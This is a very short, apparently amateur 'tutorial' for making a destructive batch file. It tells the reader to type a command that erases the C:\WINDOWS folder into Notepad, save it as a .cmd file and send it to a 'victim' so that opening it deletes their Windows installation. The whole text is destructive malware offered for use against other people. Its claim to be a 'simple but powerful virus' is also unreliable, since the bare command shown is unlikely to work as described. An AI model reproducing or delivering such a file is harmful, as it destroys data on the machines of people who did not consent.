CAUTION: DO NOT RUN THE PROGRAM ON YOUR COMPUTER OR YOU WILL LOSE YOUR WINDOWS.
HERE'S THE TUTORIAL.
1.Go to notepad,
2. Type erase C:\WINDOWS,
3. Save IT AS SOMETHING.cmd ,
4. Send to victim, once the victim opens it, the map WINDOWS will be gone and have to install WINDOWS again...
Take care it is a simple but powerful virus.